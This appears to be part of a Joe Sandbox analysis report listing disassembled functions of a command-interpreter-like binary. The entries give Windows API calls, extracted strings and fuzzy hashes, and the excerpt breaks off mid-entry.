Instruction ID: 4e1cd14ee5ec8e4b9c4fef80716dadf6fcd94101f4ecf1f9e8bb29bd70580ec9
Opcode Fuzzy Hash: 6140927c712726b5ce6b5c6052370d277af7610c6653376c5bf883b173b19ee6
Instruction Fuzzy Hash: 31A1856270CBC1CAEB29BF21D8402E9B7A1FB89784F448535DA5D8B76ADF3CD6458700

Function 00007FF64B569400 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF64B569462
memset.MSVCRT ref: 00007FF64B569485
memset.MSVCRT ref: 00007FF64B5694AA

Part of subcall function 00007FF64B56CA40: memset.MSVCRT ref: 00007FF64B56CAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B57B6A9

Part of subcall function 00007FF64B575EE4: memset.MSVCRT ref: 00007FF64B575F5D
Part of subcall function 00007FF64B575EE4: towupper.MSVCRT ref: 00007FF64B575FFE
Part of subcall function 00007FF64B575EE4: ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B576029

GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B5695D3
_wcsicmp.MSVCRT ref: 00007FF64B569603
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B56963D
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B56965C
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B57B67A

Strings

FAT, xrefs: 00007FF64B5695F8
~, xrefs: 00007FF64B5694BE

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: memset$ErrorInformationLastVolume_wcsicmptowupper
String ID: FAT$~
API String ID: 2238823677-1832570214
Opcode ID: 31d5b5f442e73b16389405a1f8f1aa1cf1f987a59b4b054618f08dfe6adbd7a2
Instruction ID: 1e1c33a33b41c89faf54a63ce17b0e2a9666f475d47c7b4080c7b3595db69e24
Opcode Fuzzy Hash: 31d5b5f442e73b16389405a1f8f1aa1cf1f987a59b4b054618f08dfe6adbd7a2
Instruction Fuzzy Hash: 4D717E7270CBC1CAEB25FF21D8502E9B7A0FB49789F409035DA5D8BA6ADF38D2458700

Function 00007FF64B56D840 Relevance: 18.4, APIs: 12, Instructions: 444memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF64B56FE2A), ref: 00007FF64B56D884
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF64B56FE2A), ref: 00007FF64B56D89D
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF64B56FE2A), ref: 00007FF64B56D94D
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF64B56FE2A), ref: 00007FF64B56D964
_wcsnicmp.MSVCRT ref: 00007FF64B56DB89
wcstol.MSVCRT ref: 00007FF64B56DBDF
wcstol.MSVCRT ref: 00007FF64B56DC63
memmove.MSVCRT ref: 00007FF64B56DD33
memmove.MSVCRT ref: 00007FF64B56DE9A
longjmp.MSVCRT(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF64B56FE2A), ref: 00007FF64B56DF1F

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Heap$AllocProcessmemmovewcstol$_wcsnicmplongjmp
String ID:
API String ID: 1051989028-0
Opcode ID: 3eb282f1936630003c50c214bbc81d4f8471c73227843184e7e06612691cab38
Instruction ID: 0ccf1a15dab43e25d3d38d7324605d10d2707ac0c680f3b2295f853f4b43bc93
Opcode Fuzzy Hash: 3eb282f1936630003c50c214bbc81d4f8471c73227843184e7e06612691cab38
Instruction Fuzzy Hash: EC028072A0C68681EA28BF15E40027AF6A0FB8CB94F546631DAAE877F5DF7CD441D700

Function 00007FF64B5686B0 Relevance: 18.1, APIs: 8, Strings: 4, Instructions: 138memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B568711
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B568729
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B568748
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B56875F
_wcsicmp.MSVCRT ref: 00007FF64B568805
_wcsicmp.MSVCRT ref: 00007FF64B56881F
_wcsicmp.MSVCRT ref: 00007FF64B568839

Strings

ENABLEEXTENSIONS, xrefs: 00007FF64B5687FB
DISABLEDELAYEDEXPANSION, xrefs: 00007FF64B57B366
DISABLEEXTENSIONS, xrefs: 00007FF64B568815
ENABLEDELAYEDEXPANSION, xrefs: 00007FF64B56882F

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Heap$_wcsicmp$AllocProcess
String ID: DISABLEDELAYEDEXPANSION$DISABLEEXTENSIONS$ENABLEDELAYEDEXPANSION$ENABLEEXTENSIONS
API String ID: 3223794493-3086019870
Opcode ID: d222a0f06bbbc582554831b5995f9d518337be47592992ae4180831db5f06540
Instruction ID: 0427b578970d2596bef461b78c58bc03cab40ee40cbc27fdd12783dd265ae501
Opcode Fuzzy Hash: d222a0f06bbbc582554831b5995f9d518337be47592992ae4180831db5f06540
Instruction Fuzzy Hash: BD515961A0CA42CAEA58BF15E810179BBA0FB4DB90F589535CA3E873B2DF7CE445C710

Function 00007FF64B572B94 Relevance: 18.1, APIs: 6, Strings: 6, Instructions: 110COMMON

Download Yara Rule

Strings

LEQ, xrefs: 00007FF64B572CB6
GEQ, xrefs: 00007FF64B572D38
LSS, xrefs: 00007FF64B572C9C
GTR, xrefs: 00007FF64B572CD0
EQU, xrefs: 00007FF64B572C6B
NEQ, xrefs: 00007FF64B572C82

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID:
String ID: EQU$GEQ$GTR$LEQ$LSS$NEQ
API String ID: 0-3124875276
Opcode ID: 27546f26981fd3a6242742626cf9575fc19742bdde1af1eb23768a0abe577f48
Instruction ID: 1c8558516e8191a6c8f1ecf0d94e6ec90a34152620be57bc96718cf7dcd7491b
Opcode Fuzzy Hash: 27546f26981fd3a6242742626cf9575fc19742bdde1af1eb23768a0abe577f48
Instruction Fuzzy Hash: 99516A60B0C643C2FB2CBF25F4046B8B695AF4EB45F408035C62EC62B6DFBDA40A8750

Function 00007FF64B56FC30 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B56FC38
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B56FC52
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF64B570181
memset.MSVCRT ref: 00007FF64B57D580
longjmp.MSVCRT ref: 00007FF64B57D59F
memmove.MSVCRT ref: 00007FF64B57D5C4
longjmp.MSVCRT ref: 00007FF64B57D5FC
longjmp.MSVCRT ref: 00007FF64B57D62B
longjmp.MSVCRT ref: 00007FF64B57D660

Strings

0123456789, xrefs: 00007FF64B56FDEE

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: longjmp$Heap$AllocByteCharMultiProcessWidememmovememset
String ID: 0123456789
API String ID: 1606811317-2793719750
Opcode ID: 8103515748828c6243a0f650469ddac0473b2fcaea6880b388f8c0650ade34ac
Instruction ID: 5bd1db9cfd417fce15dd712f968621ed28c6d41b220ac6234d8a0d7f17d1f66d
Opcode Fuzzy Hash: 8103515748828c6243a0f650469ddac0473b2fcaea6880b388f8c0650ade34ac
Instruction Fuzzy Hash: F3D15C61E0CB8685EA18BF25E844279B6A0FB4D794F489132DA6D977F6DF3CE405CB00

Function 00007FF64B576FB4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF64B577013

Part of subcall function 00007FF64B56CA40: memset.MSVCRT ref: 00007FF64B56CAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B577123

Part of subcall function 00007FF64B571EA0: wcschr.MSVCRT ref: 00007FF64B571EB3

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B57706E
wcsncmp.MSVCRT ref: 00007FF64B5770A5
wcsstr.MSVCRT ref: 00007FF64B57F9DB
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B57FA00
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B57FA5F

Part of subcall function 00007FF64B57823C: FindFirstFileExW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B578280
Part of subcall function 00007FF64B57823C: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B57829D

Part of subcall function 00007FF64B573A0C: FindClose.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF64B58EAC5,?,?,?,00007FF64B58E925,?,?,?,?,00007FF64B56B9B1), ref: 00007FF64B573A56

GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B57FA3D

Strings

\\.\, xrefs: 00007FF64B577097

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: File$AttributesFindmemset$CloseDriveErrorFirstFullLastNamePathTypewcschrwcsncmpwcsstr
String ID: \\.\
API String ID: 799470305-2900601889
Opcode ID: c96739e036c4af460e843270059a1df39c16095e374773fe56c5b82f2b657300
Instruction ID: 0a1b70ac01b9e181920d61cf4f7cdd52ced3d37a9205530d12b0551968c65d24
Opcode Fuzzy Hash: c96739e036c4af460e843270059a1df39c16095e374773fe56c5b82f2b657300
Instruction Fuzzy Hash: 2851B232B1CA82C5EB68BF21E8002B9B7A0FB8DB54F558535DA2D877A6DF7CD4458300

Function 00007FF64B568B20 Relevance: 16.8, APIs: 11, Instructions: 254COMMON

Download Yara Rule

APIs

wcsrchr.MSVCRT ref: 00007FF64B568BAB
_wcsicmp.MSVCRT ref: 00007FF64B568BD4
_wcsicmp.MSVCRT ref: 00007FF64B568BF2
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B568C16
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B568C2F
wcschr.MSVCRT ref: 00007FF64B568CB3
wcschr.MSVCRT ref: 00007FF64B568CD7

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: _wcsicmpwcschr$AttributesErrorFileLastwcsrchr
String ID:
API String ID: 1944892715-0
Opcode ID: b04fd89d1b32d74b41568e07ffd85bc9ccdf1354646f06c8d836b15a263e4c9a
Instruction ID: 1932ddb1c5770240f11c78a4328793d61268b044aa8a29a8fb5b2a0d10477bd3
Opcode Fuzzy Hash: b04fd89d1b32d74b41568e07ffd85bc9ccdf1354646f06c8d836b15a263e4c9a
Instruction Fuzzy Hash: DBB15E61A0D642C6FA68BF11E454179E6A1BF4DB80F589536CA6E873F2EF7CE8408710

Function 00007FF64B565458 Relevance: 16.7, APIs: 11, Instructions: 213fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF64B573578: _get_osfhandle.MSVCRT ref: 00007FF64B573584
Part of subcall function 00007FF64B573578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B57359C
Part of subcall function 00007FF64B573578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B5735C3
Part of subcall function 00007FF64B573578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B5735D9
Part of subcall function 00007FF64B573578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B5735ED
Part of subcall function 00007FF64B573578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B573602

_get_osfhandle.MSVCRT ref: 00007FF64B5654DE
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(?,?,00007FF64B561F7D), ref: 00007FF64B56552B
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00007FF64B561F7D), ref: 00007FF64B56554F
_get_osfhandle.MSVCRT ref: 00007FF64B58345F
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF64B561F7D), ref: 00007FF64B58347E
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF64B561F7D), ref: 00007FF64B5834C3
_get_osfhandle.MSVCRT ref: 00007FF64B5834DB
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF64B561F7D), ref: 00007FF64B5834FA

Part of subcall function 00007FF64B5736EC: _get_osfhandle.MSVCRT ref: 00007FF64B573715
Part of subcall function 00007FF64B5736EC: WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF64B573770
Part of subcall function 00007FF64B5736EC: WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B573791

Part of subcall function 00007FF64B56566C: wcschr.MSVCRT ref: 00007FF64B565690

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: _get_osfhandle$ConsoleWrite$File$ByteCharLockModeMultiSharedWide$AcquireHandleReleaseTypewcschr
String ID:
API String ID: 1356649289-0
Opcode ID: 0c4a37dfe8b9f6674b9d741f685a90a2de3626c6216cde8b4183c3294efd6170
Instruction ID: c3f81f095b75f21ff30f2cdc11a17b63d308fd129ed31a35b94ad1b1148a36ae
Opcode Fuzzy Hash: 0c4a37dfe8b9f6674b9d741f685a90a2de3626c6216cde8b4183c3294efd6170
Instruction Fuzzy Hash: EF915E72A1C642CAE628BF25E404179F7A1FB9DB94F445135DA6E83676DF3CD450CB00

Function 00007FF64B58BFEC Relevance: 16.2, APIs: 3, Strings: 6, Instructions: 444COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF64B5758E4: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00007FF64B58C6DB), ref: 00007FF64B5758EF

Part of subcall function 00007FF64B57081C: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B57084E

towupper.MSVCRT ref: 00007FF64B58C1C9
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B58C31C
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF64B58C5CB

Strings

\, xrefs: 00007FF64B58C30F
%s , xrefs: 00007FF64B58C3D6
Unknown, xrefs: 00007FF64B58C3AB
x, xrefs: 00007FF64B58C36B
PROMPT, xrefs: 00007FF64B58C079
%s>, xrefs: 00007FF64B58C684

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: CriticalDriveEnterEnvironmentFreeLocalSectionTypeVariabletowupper
String ID: %s $%s>$PROMPT$Unknown$\$x
API String ID: 2242554020-3610052186
Opcode ID: 4a922d4c85f00677817b5c761d16b1de45b4041caf2284929607811bb1d70d1e
Instruction ID: f11400d060b1cfc7c9125889a08ce2c1b181997c4bcc62231f6086f0e8557229
Opcode Fuzzy Hash: 4a922d4c85f00677817b5c761d16b1de45b4041caf2284929607811bb1d70d1e
Instruction Fuzzy Hash: DD129361A2C64281EA68BF19E44417AE7B0EF48BA0F544235D97E877F2DF3CE55AC700

Function 00007FF64B5886FC Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 226timeCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF64B58883F
GetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF64B58897A
SetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF64B5889AC
SetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF64B5889BD
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B5889D1

Strings

/-., xrefs: 00007FF64B58873E
:, xrefs: 00007FF64B5887B7
%s, xrefs: 00007FF64B5888B9

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: LocalTime$ErrorLast_get_osfhandle
String ID: %s$/-.$:
API String ID: 1644023181-879152773
Opcode ID: 52adc4b69c0d6b0cc37f226843e3bc06c06473f0745bac629c27b33a4c267472
Instruction ID: e9ffe8afff281602c2e4c0d1adb7c6e366b3962fd9d6025d625d8fad65087297
Opcode Fuzzy Hash: 52adc4b69c0d6b0cc37f226843e3bc06c06473f0745bac629c27b33a4c267472
Instruction Fuzzy Hash: 7491A162B2C64282EB58BF64D4402B9E3A0FF88BD4F844535D96EC26F6EE3CE555C700

Function 00007FF64B58627C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 95synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF64B587251), ref: 00007FF64B58628E

Strings

wil, xrefs: 00007FF64B5863D2

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: ObjectSingleWait
String ID: wil
API String ID: 24740636-1589926490
Opcode ID: ea3b1f99615cb6da41309659edc9fe07f1318ac417b21432a0effa90e1671882
Instruction ID: 1008fe4bbbc9a92aafccb54a1371dbddf41374213b56f58059685120b195c327
Opcode Fuzzy Hash: ea3b1f99615cb6da41309659edc9fe07f1318ac417b21432a0effa90e1671882
Instruction Fuzzy Hash: 09415021A1C642C7F3287F15E400379A6A1EF89781F609531D92AC7AB6CF3DD855CB01

Function 00007FF64B5614E8 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,?,00007FF64B561829), ref: 00007FF64B561513
RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,?,00007FF64B561829), ref: 00007FF64B56152B
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B57AB0F
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B57AB29
SetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B57AB4E
RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B57AB65

Strings

:, xrefs: 00007FF64B57AAF0
\, xrefs: 00007FF64B57AAFC

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: AttributesDirectoryFileRemove$ErrorFullLastNamePath
String ID: :$\
API String ID: 3961617410-1166558509
Opcode ID: 7382dc9ba5dd15d1d826e80cca2a433ebb6210e0cfd6d3e104106e7a41e883e1
Instruction ID: 94bf959db16c604a1e2a24acfe1d084ffff96dab9ffbfaa15f72eb99cf69c0b5
Opcode Fuzzy Hash: 7382dc9ba5dd15d1d826e80cca2a433ebb6210e0cfd6d3e104106e7a41e883e1
Instruction Fuzzy Hash: B4217F62A0C642C6E7587F60E444079E6A1EB8DB94B44A231DA2FC73B2EF7CD8458A00

Function 00007FF64B57258C Relevance: 15.1, APIs: 5, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF64B5706C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B56B4DB), ref: 00007FF64B5706D6
Part of subcall function 00007FF64B5706C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B56B4DB), ref: 00007FF64B5706F0
Part of subcall function 00007FF64B5706C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B56B4DB), ref: 00007FF64B57074D
Part of subcall function 00007FF64B5706C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B56B4DB), ref: 00007FF64B570762

_wcsicmp.MSVCRT ref: 00007FF64B5725CA
_wcsicmp.MSVCRT ref: 00007FF64B5725E8
_wcsicmp.MSVCRT ref: 00007FF64B57260F
_wcsicmp.MSVCRT ref: 00007FF64B572636
_wcsicmp.MSVCRT ref: 00007FF64B572650

Strings

